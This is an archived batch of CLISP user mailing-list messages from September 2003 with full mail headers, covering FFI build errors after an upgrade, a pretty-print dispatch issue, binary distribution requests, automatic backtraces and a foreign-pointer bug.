ran under an old version to run under the latest stable version and am running into some problems as follows: Compiling file /u/fc/src/Responder/call-rawsock.lisp ... [...] Content analysis details: (0.00 points, 5 required) Subject: [clisp-list] FFI interface problems in upgrading from 2.7x to 3.x Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 9 12:35:10 2003 X-Original-Date: Tue, 9 Sep 2003 10:33:27 -0700 (PDT) I am trying to get an FFI interface program that ran under an old version to run under the latest stable version and am running into some problems as follows: Compiling file /u/fc/src/Responder/call-rawsock.lisp ... Wrote file /u/fc/src/Responder/call-rawsock.fas Wrote file /u/fc/src/Responder/call-rawsock.c 0 errors, 0 warnings gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/usr/local/lib/clisp/linkkit -c call-rawsock.c In file included from call-rawsock.c:1: /usr/local/lib/clisp/linkkit/clisp.h:3100:22: constobj.c: No such file or directory make: *** [call-rawsock.o] Error 1 The only version of this file I can find is in the clisp source tree and when I artificially force this to be the included file I get: Wrote file /u/fc/src/Responder/call-rawsock.fas Wrote file /u/fc/src/Responder/call-rawsock.c 0 errors, 0 warnings gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/usr/local/lib/clisp/linkkit -c call-rawsock.c In file included from call-rawsock.c:1: /usr/local/lib/clisp/linkkit/clisp.h:543: warning: register used for two global register variables /usr/local/lib/clisp/linkkit/clisp.h:555: parse error before `)' /usr/local/lib/clisp/linkkit/clisp.h:555: warning: type defaults to `int' in declaration of `finish_frame' /usr/local/lib/clisp/linkkit/clisp.h:555: warning: parameter names (without types) in function declaration /usr/local/lib/clisp/linkkit/clisp.h:555: warning: data definition has no type or storage class /usr/local/lib/clisp/linkkit/clisp.h:555: parse error before `}' /usr/local/lib/clisp/linkkit/clisp.h:555: warning: type defaults to `int' in declaration of `callback_saved_registers' /usr/local/lib/clisp/linkkit/clisp.h:555: conflicting types for `callback_saved_registers' /usr/local/lib/clisp/linkkit/clisp.h:221: previous declaration of `callback_saved_registers' /usr/local/lib/clisp/linkkit/clisp.h:555: `registers' undeclared here (not in a function) /usr/local/lib/clisp/linkkit/clisp.h:555: warning: data definition has no type or storage class /usr/local/lib/clisp/linkkit/clisp.h:555: parse error before `}' /usr/local/lib/clisp/linkkit/clisp.h:555: warning: type defaults to `int' in declaration of `saved_STACK' /usr/local/lib/clisp/linkkit/clisp.h:555: conflicting types for `saved_STACK' /usr/local/lib/clisp/linkkit/clisp.h:545: previous declaration of `saved_STACK' /usr/local/lib/clisp/linkkit/clisp.h:555: warning: initialization makes integer from pointer without a cast /usr/local/lib/clisp/linkkit/clisp.h:555: warning: data definition has no type or storage class /usr/local/lib/clisp/linkkit/clisp.h:563: warning: type defaults to `int' in declaration of `CK_reg' /usr/local/lib/clisp/linkkit/clisp.h:563: `registers' undeclared here (not in a function) /usr/local/lib/clisp/linkkit/clisp.h:563: warning: data definition has no type or storage class /usr/local/lib/clisp/linkkit/clisp.h:563: parse error before `}' In file included from call-rawsock.c:1: /usr/local/lib/clisp/linkkit/clisp.h:3127: parse error before `*' /usr/local/lib/clisp/linkkit/clisp.h:3127: warning: `struct mod' declared inside parameter list /usr/local/lib/clisp/linkkit/clisp.h:3127: warning: its scope is only this definition or declaration, which is probably not what you want. /usr/local/lib/clisp/linkkit/clisp.h:3198: parse error before `#' /usr/local/lib/clisp/linkkit/clisp.h:3198: warning: type defaults to `int' in declaration of `_sstring_alloca' /usr/local/lib/clisp/linkkit/clisp.h:3198: warning: data definition has no type or storage class /usr/local/lib/clisp/linkkit/clisp.h:3198: parse error before `#' /usr/local/lib/clisp/linkkit/clisp.h:3198: parse error before `#' /usr/local/lib/clisp/linkkit/clisp.h:3205: warning: type defaults to `int' in declaration of `cstombs_f' /usr/local/lib/clisp/linkkit/clisp.h:3205: conflicting types for `cstombs_f' /usr/local/lib/clisp/linkkit/clisp.h:3190: previous declaration of `cstombs_f' /usr/local/lib/clisp/linkkit/clisp.h:3205: warning: data definition has no type or storage class /usr/local/lib/clisp/linkkit/clisp.h:3205: parse error before `#' /usr/local/lib/clisp/linkkit/clisp.h:3213: parse error before `#' /usr/local/lib/clisp/linkkit/clisp.h:3213: parse error before `#' /usr/local/lib/clisp/linkkit/clisp.h:3220: warning: type defaults to `int' in declaration of `cstombs_f' /usr/local/lib/clisp/linkkit/clisp.h:3220: warning: data definition has no type or storage class /usr/local/lib/clisp/linkkit/clisp.h:3220: parse error before `#' /usr/local/lib/clisp/linkkit/clisp.h:3248: parse error before `(' /usr/local/lib/clisp/linkkit/clisp.h:3255: parse error before `_unpacked_' /usr/local/lib/clisp/linkkit/clisp.h:3255: warning: type defaults to `int' in declaration of `_unpacked_' /usr/local/lib/clisp/linkkit/clisp.h:3255: warning: data definition has no type or storage class /usr/local/lib/clisp/linkkit/clisp.h:3268: parse error before `d_function' /usr/local/lib/clisp/linkkit/clisp.h:3275: parse error before `condition' In file included from call-rawsock.c:1: /usr/local/lib/clisp/linkkit/clisp.h:3382: warning: This file contains more `}'s than `{'s. call-rawsock.c: In function `module__call_rawsock__init_function_2': call-rawsock.c:19: `buffer' undeclared (first use in this function) call-rawsock.c:19: (Each undeclared identifier is reported only once call-rawsock.c:19: for each function it appears in.) call-rawsock.c:20: `from' undeclared (first use in this function) call-rawsock.c:21: `f' undeclared (first use in this function) call-rawsock.c:22: `timestamp' undeclared (first use in this function) call-rawsock.c:23: `ts' undeclared (first use in this function) call-rawsock.c:24: `rawsocket' undeclared (first use in this function) call-rawsock.c:25: `closesock' undeclared (first use in this function) call-rawsock.c:26: `ipcsum' undeclared (first use in this function) call-rawsock.c:27: `icmpcsum' undeclared (first use in this function) call-rawsock.c:28: `tcpcsum' undeclared (first use in this function) call-rawsock.c:29: `udpcsum' undeclared (first use in this function) call-rawsock.c:30: `recvfr' undeclared (first use in this function) call-rawsock.c:31: `sendt' undeclared (first use in this function) call-rawsock.c:32: `gettime' undeclared (first use in this function) call-rawsock.c:33: `backup' undeclared (first use in this function) call-rawsock.c:34: `restore' undeclared (first use in this function) call-rawsock.c:35: `configdev' undeclared (first use in this function) call-rawsock.c:36: `perror' undeclared (first use in this function) make: *** [call-rawsock.o] Error 1 Now of course this stuff worked without a problem in the previous version I was using, so IU was wondering if I missed a critical step or some such thing. Any assistance would be greatly appreciated. Please cc me directly at my email address. (fc at all.net) -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From lisp-clisp-list@m.gmane.org Tue Sep 09 13:26:34 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19wp4M-0005Li-00 for ; Tue, 09 Sep 2003 13:26:34 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19wp4L-0005xG-Eo for clisp-list@lists.sourceforge.net; Tue, 09 Sep 2003 13:26:33 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19wp4d-0005Ub-00 for ; Tue, 09 Sep 2003 22:26:51 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19wp4c-0005UT-00 for ; Tue, 09 Sep 2003 22:26:50 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19wp4I-0000s7-00 for ; Tue, 09 Sep 2003 22:26:30 +0200 From: Sam Steingold Organization: disorganization Lines: 48 Message-ID: References: <200309091733.h89HXRC08508@all.net> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org Cc: fc@all.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Fred Cohen [2003-09-09 10:33:27 -0700]: first, what are "2.7x" & "3.x"? > Compiling file /u/fc/src/Responder/call-rawsock.lisp ... [...] Content analysis details: (-1.50 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: FFI interface problems in upgrading from 2.7x to 3.x Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 9 16:04:48 2003 X-Original-Date: 09 Sep 2003 16:26:29 -0400 >* Fred Cohen [2003-09-09 10:33:27 -0700]: first, what are "2.7x" & "3.x"? > Compiling file /u/fc/src/Responder/call-rawsock.lisp ... just out of curiosity, what does your module do? > Wrote file /u/fc/src/Responder/call-rawsock.fas > Wrote file /u/fc/src/Responder/call-rawsock.c > 0 errors, 0 warnings > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations > -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/usr/local/lib/clisp/linkkit > -c call-rawsock.c > > In file included from call-rawsock.c:1: > > /usr/local/lib/clisp/linkkit/clisp.h:3100:22: constobj.c: No such file or directory oops. bug. sorry. please remove the line in clisp.h that includes constobj.c. > Wrote file /u/fc/src/Responder/call-rawsock.fas > Wrote file /u/fc/src/Responder/call-rawsock.c > 0 errors, 0 warnings > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/usr/local/lib/clisp/linkkit -c call-rawsock.c > In file included from call-rawsock.c:1: > /usr/local/lib/clisp/linkkit/clisp.h:543: warning: register used for two global register variables > /usr/local/lib/clisp/linkkit/clisp.h:555: parse error before `)' could you please look at clisp.h and try to figure out what is wrong there? I see nothing wrong in my file. > Now of course this stuff worked without a problem in the previous > version I was using, so IU was wondering if I missed a critical step > or some such thing. No, of course, this stuff worked without a problem in the built-in modules with which CLISP is distributed, so I am wondering if I missed a critical step or some such thing :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k MS Windows: error: the operation completed successfully. From rbelenov@yandex.ru Wed Sep 10 04:00:06 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19x2hi-0002OT-00 for ; Wed, 10 Sep 2003 04:00:06 -0700 Received: from fmr09.intel.com ([192.52.57.35] helo=hermes.hd.intel.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19x2hh-0001SM-ID for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 04:00:05 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8AAvBY14924 for ; Wed, 10 Sep 2003 10:57:12 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8AAsGD20615 for ; Wed, 10 Sep 2003 10:54:16 GMT Received: (from NNWRBELENOV31 [10.125.17.147]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091003592611750 for ; Wed, 10 Sep 2003 03:59:28 -0700 To: clisp-list@lists.sourceforge.net From: Roman Belenov Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: I played a liitle with pretty printing in clisp and found that sometimes it behaves strange (IMO incorrect, but since I'm a Lisp newbie I can miss something). After creating simple dispatch table: (defvar *pdt* (copy-pprint-dispatch)) [...] Content analysis details: (-0.50 points, 5 required) USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] pprint-logical-block's argument redispatched Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 04:01:02 2003 X-Original-Date: Wed, 10 Sep 2003 14:59:24 +0400 I played a liitle with pretty printing in clisp and found that sometimes it behaves strange (IMO incorrect, but since I'm a Lisp newbie I can miss something). After creating simple dispatch table: (defvar *pdt* (copy-pprint-dispatch)) (defun own-write (sexpr &rest args) (apply #'write sexpr :pretty t :pprint-dispatch *pdt* args)) (defun 3-elem-list-p (x) (and (consp x) (= (length x) 3))) (set-pprint-dispatch '(satisfies 3-elem-list-p) (lambda (s list) (pprint-logical-block (s (cdr list)) (format s "~S,~S,~S" (pprint-pop) (car list) (pprint-pop)))) 0 *pdt*) lists of length 3 are correctly dispatched: [123]> (own-write '(1 2 3)) 2,1,3 (1 2 3) But then I add dispatch rule for 2 element lists: (defun 2-elem-list-p (x) (and (consp x) (= (length x) 2))) (set-pprint-dispatch '(satisfies 2-elem-list-p) (lambda (s list) (format s "~S;~S" (car list) (cadr list))) 0 *pdt*) I see that the argument of pprint-logical-block is redispatched through new rule: [137]> (own-write '(1 2 3)) 2;3 (1 2 3) I'm using clisp 2.31 (2.30 exhibits the same problem) under cygwin/Windows XP. -- With regards, Roman. From lisp-clisp-list@m.gmane.org Wed Sep 10 08:30:36 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19x6vU-000568-00 for ; Wed, 10 Sep 2003 08:30:36 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19x6vT-0005UO-OH for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 08:30:35 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19x6vP-0005q1-00 for ; Wed, 10 Sep 2003 17:30:31 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19x6qJ-0005ZD-00 for ; Wed, 10 Sep 2003 17:25:15 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19x6qL-0005Pg-00 for ; Wed, 10 Sep 2003 17:25:17 +0200 From: Sam Steingold Organization: disorganization Lines: 17 Message-ID: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: The users of the source release 2.31 (as opposed to those who download binaries) are urged to visit or and see if there is a binary there for your platform. if you do not see a binary for your platform, please do "make distrib" in your CLISP build directory and let me know from where I can download the tar ball. [...] Content analysis details: (-0.50 points, 5 required) USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] call for binaries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 10:37:52 2003 X-Original-Date: 10 Sep 2003 11:25:17 -0400 The users of the source release 2.31 (as opposed to those who download binaries) are urged to visit or and see if there is a binary there for your platform. if you do not see a binary for your platform, please do "make distrib" in your CLISP build directory and let me know from where I can download the tar ball. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Good judgment comes from experience and experience comes from bad judgment. From seharris@raytheon.com Wed Sep 10 11:01:35 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19x9Hb-0005V7-00 for ; Wed, 10 Sep 2003 11:01:35 -0700 Received: from lax-gate4.raytheon.com ([199.46.200.233]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19x9Ha-00086r-VK for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 11:01:34 -0700 Received: from ds02t00.directory.ray.com (ds02t00.directory.ray.com [147.25.154.117]) by lax-gate4.raytheon.com (8.12.9/8.12.9) with ESMTP id h8AI1RKg006434 for ; Wed, 10 Sep 2003 11:01:27 -0700 (PDT) Received: from ds02t00.directory.ray.com (localhost [127.0.0.1]) by ds02t00.directory.ray.com (8.12.9/8.12.1) with ESMTP id h8AI1P2S022275 for ; Wed, 10 Sep 2003 18:01:26 GMT Received: Received: from L75001820.sdo.us.ray.com ([192.27.58.82]) by ds02t00.directory.ray.com (8.12.9/8.12.9) with ESMTP id h8AI1Nha022260 sender seharris@raytheon.com for ; Wed, 10 Sep 2003 18:01:24 GMT Received: from sharr by L75001820.sdo.us.ray.com with local (Exim 4.22) id HL0FCN-0006O8-2L for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 11:00:23 -0700 To: clisp-list@lists.sourceforge.net References: From: "Steven E. Harris" Organization: Raytheon In-Reply-To: (Sam Steingold's message of "10 Sep 2003 11:25:17 -0400") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Sam Steingold writes: > see if there is a binary there for your platform. Version 2.31 was the first release that I couldn't use one of the provided binaries for Cygwin, and had to build from source. [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: call for binaries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 11:12:48 2003 X-Original-Date: Wed, 10 Sep 2003 11:00:22 -0700 Sam Steingold writes: > see if there is a binary there for your platform. Version 2.31 was the first release that I couldn't use one of the provided binaries for Cygwin, and had to build from source. I tried to use the clisp-2.31-i686-unknown-cygwin32-1.3.22.tar.gz bundle, but stumbled on not having the various X-Windows libraries installed as required by the "full" build option. Somewhere in between "base" and "full," it would be nice to have a "full no-x" that included everything except those modules dependent on X-Windows libraries. It's common to use Cygwin with no X packages installed, and many of the Cygwin packages come in a separate "no-x" version. Perhaps CLISP's Makefile could have a target with similar intent. -- Steven E. Harris :: seharris@raytheon.com Raytheon :: http://www.raytheon.com From pascal@informatimago.com Wed Sep 10 13:37:46 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xBik-0008U6-00 for ; Wed, 10 Sep 2003 13:37:46 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xBij-0003CU-CS for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 13:37:45 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id C3C498F883; Wed, 10 Sep 2003 22:37:40 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030910203740.C3C498F883@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.1 (/) X-Spam-Report: -0.1/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: In situations where there's no interactive channel to a clisp, how could I direct the debugger to issue a backtrace automatically? I first tried to set a *debugger-hook*, but then I've no access to the frames to be backtracked: [...] Content analysis details: (-0.10 points, 5 required) X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header Subject: [clisp-list] auto debugging Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 13:39:16 2003 X-Original-Date: Wed, 10 Sep 2003 22:37:40 +0200 (CEST) In situations where there's no interactive channel to a clisp, how could I direct the debugger to issue a backtrace automatically? I first tried to set a *debugger-hook*, but then I've no access to the frames to be backtracked: [2]> (setq *debugger-hook* (lambda (condition last-hook) (format t "~&ERROR: ~A" condition) (let ((system::*debug-mode* 1) (system::*debug-frame* (SYSTEM::THE-FRAME= ))) (SYSTEM::DEBUG-BACKTRACE)))) # [9]> (/ 1 0) ERROR: division by zero *** - SYSTEM::FRAME-UP-1: NIL is not a stack pointer 1. Break [10]>=20 Then I tried something like: [2]> (let ((*debug-io*=20 (make-two-way-stream=20 (make-string-input-stream (format nil ":bt~%(ext:quit)~%"= ))=20 *standard-output*)))=20 (let ((a 0)) (format t "~D~%" (/ 1 a)))) *** - division by zero 1. Break [9]>=20 :BT 1. Break [9]>=20 but while it's echoing :BT it does not seem to exectute it. I even tried with more redirections: (let* ((*standard-input*=20 (make-string-input-stream (format nil ":bt~%(ext:quit)~%")))=20 (*debug-io* (make-two-way-stream *standard-input* *standard-output= *)) (*terminal-io* *debug-io*)=20 (*query-io* *debug-io*))=20 (let ((a 0)) (format t "~D~%" (/ 1 a)))) but this only hangs clisp. I'd like it to dump a backtrace automatically in addition to issuing the error message. =20 --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ Do not adjust your mind, there is a fault in reality. From roland.averkamp@gmx.de Wed Sep 10 14:22:24 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xCPw-0005yO-00 for ; Wed, 10 Sep 2003 14:22:24 -0700 Received: from mx0.gmx.de ([213.165.64.100] helo=mx0.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 19xCPv-0006ai-Oe for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 14:22:23 -0700 Received: (qmail 26318 invoked by uid 0); 10 Sep 2003 21:21:51 -0000 From: Roland Averkamp To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated-Sender: #0010600793@gmx.net X-Authenticated-IP: [80.184.104.242] Message-ID: <25775.1063228911@www60.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.3 (+) X-Spam-Report: 1.3/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hello, I am using clisp-2.31 and did the following at the prompt: [17]> (ffi:unsigned-foreign-address 65535) # [18]> (ffi:foreign-pointer (ffi:unsigned-foreign-address 65535)) # [19]> (ffi:foreign-address (ffi:foreign-pointer (ffi:unsigned-foreign-address 65535))) # [20]> [...] Content analysis details: (1.30 points, 5 required) SUBJ_HAS_UNIQ_ID (1.3 points) Subject contains a unique ID Subject: [clisp-list] Problem with ffi:foreign-pointer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 14:34:11 2003 X-Original-Date: Wed, 10 Sep 2003 23:21:51 +0200 (MEST) Hello, I am using clisp-2.31 and did the following at the prompt: [17]> (ffi:unsigned-foreign-address 65535) # [18]> (ffi:foreign-pointer (ffi:unsigned-foreign-address 65535)) # [19]> (ffi:foreign-address (ffi:foreign-pointer (ffi:unsigned-foreign-address 65535))) # [20]> I would have expected as results # and # It think that in file foreign.d in function foreign_pointer the base of the foreign-address object is ignored. Bye, Roland -- COMPUTERBILD 15/03: Premium-e-mail-Dienste im Test -------------------------------------------------- 1. GMX TopMail - Platz 1 und Testsieger! 2. GMX ProMail - Platz 2 und Preis-Qualitätssieger! 3. Arcor - 4. web.de - 5. T-Online - 6. freenet.de - 7. daybyday - 8. e-Post From lisp-clisp-list@m.gmane.org Wed Sep 10 14:38:38 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xCfd-0007oO-00 for ; Wed, 10 Sep 2003 14:38:37 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xCfd-0005P6-4G for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 14:38:37 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xCfY-0001Jw-00 for ; Wed, 10 Sep 2003 23:38:32 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19xCfX-0001Jo-00 for ; Wed, 10 Sep 2003 23:38:31 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xCfa-0006ZR-00 for ; Wed, 10 Sep 2003 23:38:34 +0200 From: Sam Steingold Organization: disorganization Lines: 76 Message-ID: References: <20030910203740.C3C498F883@thalassa.informatimago.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -1.1 (-) X-Spam-Report: -1.1/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Pascal 